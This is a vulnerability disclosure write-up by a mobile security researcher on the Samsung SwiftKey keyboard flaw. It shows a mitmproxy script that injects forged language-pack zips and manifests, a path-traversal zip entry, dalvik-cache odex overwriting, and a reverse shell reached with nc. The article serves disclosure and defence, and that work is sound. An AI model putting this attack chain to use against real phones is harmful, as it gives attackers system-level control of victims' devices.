Summary

A remote attacker capable of controlling a user’s network traffic can manipulate the keyboard update mechanism on Samsung phones and execute code as a privileged (system) user on the target’s phone. This can be exploited in a a manner that requires no user interaction – a user does not have to explicitly choose to download a languagePack update to be exploited.

The Swift keyboard comes pre-installed on Samsung devices and cannot be disabled or uninstalled. Even when it is not used as the default keyboard, it can still be exploited. On Samsung devices, the keyboard was built around the Swift SDK. This makes the Samsung keyboard application (named SamsungIME) distinctly different from the Swift keyboard in the Play store. The verison of the keyboard in the Play store is also susceptible to an remote arbitrary file write, but as it does not run as a privledged user we cannot use the same attack vector.

The proof of concept for the exploit is available here. The vulnerability has been assigned the following CVE’s by CERT: CVE-2015-4640 and CVE-2015-4641.

A video of this exploit in action can be viewed on Youtube here. It can be seen that no user interaction is required other than connecting to a network, opening the keyboard, and rebooting the device.

Please feel free to contact me on twitter @fuzion24 for any additional questions.

Summary edited June 18th, 2015 for increased clarity and on June 29, 2015 to add CVE information.

How it Works

It’s unfortunate but typical for OEMs and carriers to preinstall third-party applications to a device. In some cases these applications are run from a privileged context. This is the case with the Swift keyboard on Samsung. Taking a look at the keyboard we see:

➜  /tmp  aapt d badging SamsungIME.apk | head -3
       package: name='com.sec.android.inputmethod' versionCode='4' versionName='4.0'
       sdkVersion:'18'
       targetSdkVersion:'19'
       ➜  /tmp  shasum SamsungIME.apk
       72f05eff8aecb62eee0ec17aa4433b3829fd8d22  SamsungIME.apk
       
➜  /tmp  aapt d xmltree SamsungIME.apk AndroidManifest.xml | grep shared
           A: android:sharedUserId(0x0101000b)="android.uid.system" (Raw: "android.uid.system")
       

This means that the keyboard was signed with Samsung’s private signing key and runs in one of the most privileged contexts on the device, system user, which is a notch short of being root.

Accessibility

The attack vector for this vulnerability requires an attacker capable of modifying upstream traffic. The vulnerability is triggered automatically (no human interaction) on reboot as well as randomly when the application decides to update. This can include geographically proximate attacks such as rogue Wi-Fi access points or cellular base stations, or attacks from local users on a network, including ARP poisoning. Fully remote attacks are also feasible via DNS Hijacking, packet injection, a rogue router or ISP, etc.

The attack setup used for testing was a Linux VM running hostapd with a USB Wi-Fi Dongle. All http traffic was transparently redirected to mitmproxy, where a script generated and injected proper payloads.

Discovery of the Vulnerability

Swift has an update mechanism to allow new languages to be added or existing languages to be upgraded. When a user downloads an additional language pack, we can see the network request that is made:

   GET http://skslm.swiftkey.net/samsung/downloads/v1.3-USA/az_AZ.zip
              ← 200 application/zip 995.63kB 601ms
       

When the zip is downloaded it is extracted to /data/data/com.sec.android.inputmethod/app_SwiftKey/<languagePackAbbrev>/.

[email protected]:/data/data/com.sec.android.inputmethod/app_SwiftKey/az_AZ # ls -l
       -rw------- system   system     606366 2015-06-11 15:16 az_AZ_bg_c.lm1
       -rw------- system   system    1524814 2015-06-11 15:16 az_AZ_bg_c.lm3
       -rw------- system   system        413 2015-06-11 15:16 charactermap.json
       -rw------- system   system         36 2015-06-11 15:16 extraData.json
       -rw------- system   system         55 2015-06-11 15:16 punctuation.json
       

We can see that the files in our .zip were written as system user. This is a very powerful user capable of writing many places on the file system. Since the application sends the zip file over plaintext, let’s attempt to modify it.

We can do this by setting a global Wi-Fi proxy and pointing our device at mitmproxy on our computer. Then we can write a quick script which feeds it our zip when the keyboard attempts to download:

def request(context, flow):
           if not flow.request.host == "kslm.swiftkey.net" or not flow.request.endswith(".zip"):
             return
       
           resp = HTTPResponse(
               [1, 1], 200, "OK",
               ODictCaseless([["Content-Type", "application/zip"]]),
               "helloworld")
       
           with open('test_language.zip', 'r') as f:
             payload = f.read()
             resp.content = payload
             resp.headers["Content-Length"] = [len(payload)]
       
           flow.reply(resp)
       

Our payload is very simple, containing only one file:

➜  /tmp  unzip -l test_keyboard.zip
       Archive:  test_keyboard.zip
         Length     Date   Time    Name
        --------    ----   ----    ----
               6  06-11-15 15:33   test
        --------                   -------
               6                   1 file
       

After checking /data/data/com.sec.android.inputmethod/app_SwiftKey/<languagePackAbbrev> we notice that neither our language pack directory or test file exist. Bummer. The application must be validating these zips. After a bit more exploration, we notice a manifest was downloaded prior to the zip download which contains a listing of all the language packs, their url locator, and the SHA1 hash of the zip.

The request in mitmproxy :

>> GET http://skslm.swiftkey.net/samsung/downloads/v1.3-USA/languagePacks.json
              ← 200 application/json 15.38kB 310ms
       

Let’s take a closer look at this manifest by piping it through jq to pretty print and colorize it:

➜ curl -s 'http://skslm.swiftkey.net/samsung/downloads/v1.3-USA/languagePacks.json' | jq '.[] | select(.name == "English (US)")'
       

The server responds back with a list of languages, their url locator and their SHA1 hash. An example server response (selecting only the English payload):

{
         "name": "English (US)",
         "language": "en",
         "country": "US",
         "sha1": "3b98ee695b3482bd8128e3bc505b427155aba032",
         "version": 13,
         "archive": "http://skslm.swiftkey.net/samsung/downloads/v1.3-USA/en_US.zip",
         "live": {
           "sha1": "b846a2433cf5fbfb4f6f9ba6c27b6462bb1a923c",
           "version": 1181,
           "archive": "http://skslm.swiftkey.net/samsung/downloads/v1.3-USA/ll_en_US.zip"
         }
       }
       

The SHA1 of the language pack upgrades we are downloading are validated based on the information in this manifest. This manifest is also sent insecurely. If we precompute the SHA1 of our payload and create our own manifest, we should be able to change these zip files arbitrarily. In addition, for our payload, let’s add a path traversal and attempt to write a file to /data/. Our payload looks as follows:

➜  samsung_keyboard_hax  unzip -l evil.zip 
       Archive:  evil.zip
         Length      Date    Time    Name
       ---------  ---------- -----   ----
               5  2014-08-22 18:52   ../../../../../../../../data/payload
       ---------                     -------
               5                     1 file
       

After modifying the manifest appropriately, we check for our payload file and it exists!

➜  samsung_keyboard_hax  adbx shell su -c "ls -l /data/payload"
       -rw------- system   system          5 2014-08-22 16:07 payload
       

File write to code execution

Now, we have an arbitrary file write as system user. Our goal is to turn this write primitive into code execution. The Swift keyboard itself has no executable code in its directory that we can overwrite, therefore we are going to have to look elsewhere.

After a .dex file is optimized, its cache gets stored in /data/dalvik-cache/. All of the files in dalvik-cache are owned by the user system. We want to look for files in dalvik-cache owned by group system, as this will give us all the dalvik-cache files that will execute as the system user.

[email protected]:/data/dalvik-cache # /data/local/tmp/busybox find . -type f -group 1000
       ./[email protected]@[email protected]
       ./[email protected]@[email protected]
       ./[email protected]@[email protected]
       ./[email protected]@[email protected]
       ./[email protected]@[email protected]
       ./[email protected]@[email protected]
       ./[email protected]@[email protected]
       ./[email protected]@[email protected]
       ./[email protected]@[email protected]
       ./[email protected]@[email protected]
       ./[email protected]@[email protected]
       

Out of this list, we want to select a target component that is automatically invoked. Ideally, we can just clobber the whole odex file and replace only our target of interest. This is possible with the framework dalvik cache files available, but it might cause other pieces to break. Instead, let’s choose the DeviceTest (/data/dalvik-cache/[email protected]@[email protected]) as our target.

After decompiling and viewing the manifest, we see that the app does indeed have sharedUserId=”android.id.system”. We also see a BroadcastReceiver defined in the manifest which responds to intents like BOOT_COMPLETED, enabling it to get fired automatically on device (re)boot.

<manifest android:sharedUserId="android.uid.system" android:versionCode="1" android:versionName="1.0" package="com.sec.factory" xmlns:android="http://schemas.android.com/apk/res/android">
       ...
               <receiver android:name="com.sec.factory.entry.FactoryTestBroadcastReceiver">
                   <intent-filter>
                       <action android:name="android.intent.action.MEDIA_SCANNER_FINISHED" />
                       <data android:scheme="file" />
                   </intent-filter>
                   <intent-filter>
                       <action android:name="android.intent.action.PACKAGE_CHANGED" />
                       <data android:scheme="package" />
                   </intent-filter>
                   <intent-filter>
                       <action android:name="android.intent.action.PRE_BOOT_COMPLETED" />
                       <action android:name="android.intent.action.BOOT_COMPLETED" />
                   </intent-filter>
                   <intent-filter>
                       <action android:name="com.sec.atd.request_reconnect" />
                       <action android:name="android.intent.action.CSC_MODEM_SETTING" />
                   </intent-filter>
               </receiver>
       

We need to generate an odex file with code for a BroadcastReciever named com.sec.factory.entry.FactoryTestBroadcastReceiver. Our exploit source looks like:

➜cat FactoryTestBroadcastReceiver.java | head
       
       package com.sec.factory.entry;
       import java.lang.Class;
       import java.io.File;
       import android.content.BroadcastReceiver;
       import android.content.Context;
       import android.content.Intent;
       import android.util.Log;
       
       public class FactoryTestBroadcastReceiver extends BroadcastReceiver {
          //Exploit code here
       }
       

Once we have our payload created, we can compile it and run it through the DalvikExchange (dx) tool to get a .jar file which includes our dalvik bytecode. We need get our device to optimize our payload for us before can use it to overwrite the dalvik-cache target. We can push our jar to the device and generate the odex using the following:

ANDROID_DATA=/data/local/tmp dalvikvm -cp /data/local/tmp/<payload.jar> com.sec.factory.entry.FactoryTestBroadcastReceiver
       

This will put our cache file in a directory that is readable by the shell user:

[email protected]:/data/local/tmp/dalvik-cache $ ls -l
       -rw-r--r-- shell    shell        3024 2014-07-18 14:09 [email protected]@[email protected]@classes.dex
       

After injecting this payload into our languagepack zip, triggering the download, and rebooting, we see:

D/dalvikvm( 6276): DexOpt: --- BEGIN 'payload.jar' (bootstrap=0) ---
       D/dalvikvm( 6277): DexOpt: load 10ms, verify+opt 6ms, 112652 bytes
       D/dalvikvm( 6276): DexOpt: --- END 'payload.jar' (success) ---
       I/dalvikvm( 6366): DexOpt: source file mod time mismatch (3edeaec0 vs 3ed6b326)
       

As part of the .ODEX header, it stores the CRC32 and modification time of the classes.dex from which it was generated. It does so according to the original APK’s Zip file table:

unzip -vl SM-G900V_KOT49H_DeviceTest.apk classes.dex
       Archive:  SM-G900V_KOT49H_DeviceTest.apk
        Length   Method    Size  Ratio   Date   Time   CRC-32    Name
       --------  ------  ------- -----   ----   ----   ------    ----
         643852  Defl:N   248479  61%  06-22-11 22:25  f56f855f  classes.dex
       --------          -------  ---                            -------
         643852           248479  61%                            1 file
       

We need to pull these two bits of information from the zip file and patch our .odex payload to look like it was generated from the original DeviceTest.apk. Please note, the CRC32 and modification time were not meant as a security mechanism, but rather to know when the cache needs to be updated because of an application update.

Patching our .ODEX and retriggering the vulnerability, it executes our payload, which for testing purposes is a reverse shell.

 nc 192.168.181.96 8889
       id
       uid=1000(system) gid=1000(system) groups=1000(system),1001(radio),1007(log),1010(wifi),1015(sdcard_rw),1021(gps),1023(media_rw),1024(mtp),1028(sdcard_r),2001(cache),3001(net_bt_admin),3002(net_bt),3003(inet),3004(net_raw),3005(net_admin),3009(qcom_diag),41000(u0_a31000) context=u:r:system_app:s0
       

A few caveats: the generated ODEX payload is specific to a particular model and version of Samsung device. This requires that a different ODEX be served to each device variant and version. However, Swift is kind enough to give us model version and build information in the http headers where they ask the server for the langaugePack update.

 'User-Agent': 'Dalvik/1.6.0 (Linux; U; Android 4.4.2; SM-G900T Build/KOT49H)'
       

Mitigations

Unfortunately, the flawed keyboard app can’t be uninstalled or disabled. Also, it isn’t easy for the Samsung mobile device user to tell if the carrier has patched the problem with a software update. To reduce your risk, avoid unsecured Wi-Fi networks, use a different mobile device and contact your carrier for patch information and timing.

What to read next:

Ryan Welton

linkedin icon twitter icon

Former Mobile Security Researcher at NowSecure

Ryan is a developer and security researcher, and he enjoys finding and exploiting vulnerabilities at all different levels of the stack.